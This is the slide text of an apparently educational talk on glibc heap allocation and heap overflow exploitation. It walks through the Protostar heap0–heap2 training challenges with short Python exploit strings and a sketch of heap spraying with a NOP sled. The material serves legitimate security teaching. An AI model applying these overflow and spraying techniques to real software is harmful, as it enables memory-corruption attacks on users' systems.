We introduce the fundamentals of dynamic memory allocation and highlight several exploitable properties. These ideas are put into practice in a set of heap overflow challenges from exploit-exercise.com's Protostar VM. We walk through the first three. Other uses of heap space such as heap spraying are mentioned.
4. We know about the stack. Programs store local variables
there.
Heaps are for storing globals as well as variables too large for
the stack
In Linux:
.data – Initialized globals
.bss – Uninitialized globals
Heap – Dynamically allocated space, grows upwards
Stack – Local variables, grows down
WHAT IS THE HEAP?
5. glibc uses a version of the popular dlmalloc algorithm
Memory is allocated in chunks. Each chunk is 8-byte aligned
with a header and data.
Each chunk contains:
Size information before and after the chunk – Easy to combine
chunks and allows bidirection traversal from any chunk. Trailer fields
are sometimes omitted in recent implementations
Chunks are stored in a linked list of bins, sorted by size in
continuous increments of 8 for sizes under 512. Over 512 can
be any multiple of 8.
Upon freeing a chunk, it is combined with freed neighbors to
lower fragmentation
The final “top” chunk is empty and its size records the
remaining about of free space
MEMORY ALLOCATION DATA STRUCTURES
7. Locality Preservation
Chunks allocated at the same time tend to be referenced similarly
and have coexistent lifetimes
Important for good performance, reduces cache misses
A tweaked version of nearest-fit is used that results in consecutive
blocks when there is space
This is good for us
Easy to create overflows, as memory allocated after vulnerable
variables is often given to other variables nearby that may be for
things such as function pointers or file paths
SOME CONSEQUENCES
8. We want to see what the heap looks like as more memory is
allocated
We will allocate three strings: a, b, c. Each is 32 bytes.
Code:
char *a, *b, *c;
a = malloc(32);
b = malloc(32);
c = malloc(32);
This will serve as an introduction to the heap3 problem
MALLOC EXAMPLE
10. SECOND ALLOCATION
0x0804c000
8 Byte Size – 0x29
0x0804c008
32 Byte Data
Chunk 1
a
0x0804c028
8 Byte Size – 0x29
0x0804c030
32 Byte Data
Chunk 2
b
Remaining Space: 0xFB1
11. THIRD ALLOCATION
0x0804c000
8 Byte Size – 0x29
0x0804c008
32 Byte Data
Chunk 1
a
0x0804c028
8 Byte Size – 0x29
0x0804c030
32 Byte Data
Chunk 2
b
0x0804c050
8 Byte Size – 0x29
0x0804c058
32 Byte Data
Chunk 3
c
Remaining Space: 0xF89
12. Now, the interesting (and exploitable) part involves the free()
implementation in dlmalloc
Let’s examine the contents of memory after successive free()
commands are executed.
Code:
free(c);
free(b);
free(a);
FREE EXAMPLE
13. BEFORE FIRST FREE
0x0804c000
8 Byte Size – 0x29
0x0804c008
“AAAA0”
Chunk 1
a
0x0804c028
8 Byte Size – 0x29
0x0804c030
“BBBB0”
Chunk 2
b
0x0804c050
8 Byte Size – 0x29
0x0804c058
“CCCC0”
Chunk 3
c
Remaining Space: 0xF89
17. Here’s the chunk structure with important parts bolded:
struct malloc_chunk {
INTERNAL_SIZE_T prev_size;
INTERNAL_SIZE_T size;
struct malloc_chunk* fd;
struct malloc_chunk* bk;
/* Only for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize;
struct malloc_chunk* bk_nextsize;
};
LOOKING AT MALLOC.C…
18. Looks like, for whatever reason, this machine uses singly
linked lists rather than doubly linked lists
We only have the size and fd values to modify
SOME OBSERVATIONS
19. 3 Virtual Machines with Challenges
Nebula – Basic exploitation for people with no experience
Protostar – Lots of real-world exploits without some of the modern
exploit mitigation systems
Fusion – Advanced scenarios and modern protection systems. Good
for those who want to learn how to bypass those systems.
We will use Protostar. It has 4 heap-based exploitation
challenges
EXPLOIT-EXERCISES.COM
22. Goal – We want to change the function pointer that points to
nowinner() to point to winner() instead
Description from author: This level introduces heap overflows
and how they can influence code flow.
HEAP0 - OVERVIEW
23. Relevant Code:
struct data *d;
struct fp *f;
d = malloc(sizeof(struct data));
f = malloc(sizeof(struct fp));
f->fp = nowinner;
printf("data is at %p, fp is at %pn", d, f);
strcpy(d->name, argv[1]);
f->fp();
HEAP0 - CODE
26. If we overflow the character buffer in d, we can overwrite the
function pointer f
The distance from f to d is 0x804a050-0x804a008 = 72
The pointer for winner() is 0x8048464
Python Code: print "A"*72 + "x64x84x04x08"
HEAP0 – EXPLOIT CREATION
29. Goal – Execute the winner() function again. But it’s not so
obvious how this will happen.
There are two allocations and two strcpy commands
There are no function pointers. What should we overwrite?
Description from Author: This level takes a look at code flow
hijacking in data overwrite cases.
HEAP1 - OVERVIEW
31. This instruction is the important one:
strcpy(i2->name, argv[2]);
We are moving an argument into a pointer stored at i2->name
Can we change the destination of our argument?
HEAP1 – EXPLOIT IDEAS
36. Goal – According to the problem description, this level is
completed when you see the "you have logged in already!"
message
Description from Author: This level examines what can happen
when heap pointers are stale.
HEAP2 - OVERVIEW
37. For each input loop, the following commands are parsed:
auth
Description: Allocates memory for auth pointer, clears it, then copies the
user input into it
Code:
auth = malloc(sizeof(auth));
memset(auth, 0, sizeof(auth));
if(strlen(line + 5) < 31) {
strcpy(auth->name, line + 5);
}
service
Description: Changes the service pointer to a duplicate of the provided
input
Code:
service = strdup(line + 7);
HEAP2 – PROGRAM DESCRIPTION
38. For each input loop, the following commands are parsed:
reset
Description: Frees the auth pointer
Code:
free(auth);
login
Description: Simulates a login. If the auth->auth field is nonzero, then the
user is logged in. Otherwise, we get a dummy password prompt.
Code:
if(auth->auth) {
printf("you have logged in already!n");
} else {
printf("please enter your passwordn");
}
HEAP2 – PROGRAM DESCRIPTION
39. This program calls malloc() for auth using sizeof(auth)
sizeof(auth) returns 4 because it’s returning the size of the
pointer, not the size of the struct
However, calls to auth->auth still access memory well beyond
its allocated 4 bytes
HEAP2 – VULNERABILITY
40. Let’s call “auth CSG” to set up our auth pointer
Then call “service” with a bunch of non-zero garbage
Then, auth->auth will overflow auth’s buffer into service’s
buffer and read a non-zero integer.
Python Exploit:
print "auth CSGnservice " + "A"*16 + "nlogin"
HEAP2 – EXPLOIT
41. HEAP2 – EXPLOIT VISUALIZED
What the programmer thinks happened:
auth size auth->name auth->auth
0x804c000 0x804c008 0x804c028
service size service data
0x804c030 0x804c038
What actually happened:
0x804c000 0x804c008
auth size
0x804c018 0x804c020
service size service data
0x804c028
auth->name auth->auth
auth->auth is non-zero
45. The memory allocation algorithm’s tendency towards
contiguous chunk placement can be used for evil yet again
In browser, PDF, Flash, etc. exploitation in which the user can
control memory allocations (usually via scripting languages
like JavaScript), payload placement is usually done on the
heap
How do we reliably find our payload in the potentially
fragmented heap?
Fill up an entire chunk with NOP sled + payload and spray it
repeatedly into the heap
Once the allocator fills in the gaps for the heap
fragmentation, we get a nice big contiguous landing area
HEAP SPRAYING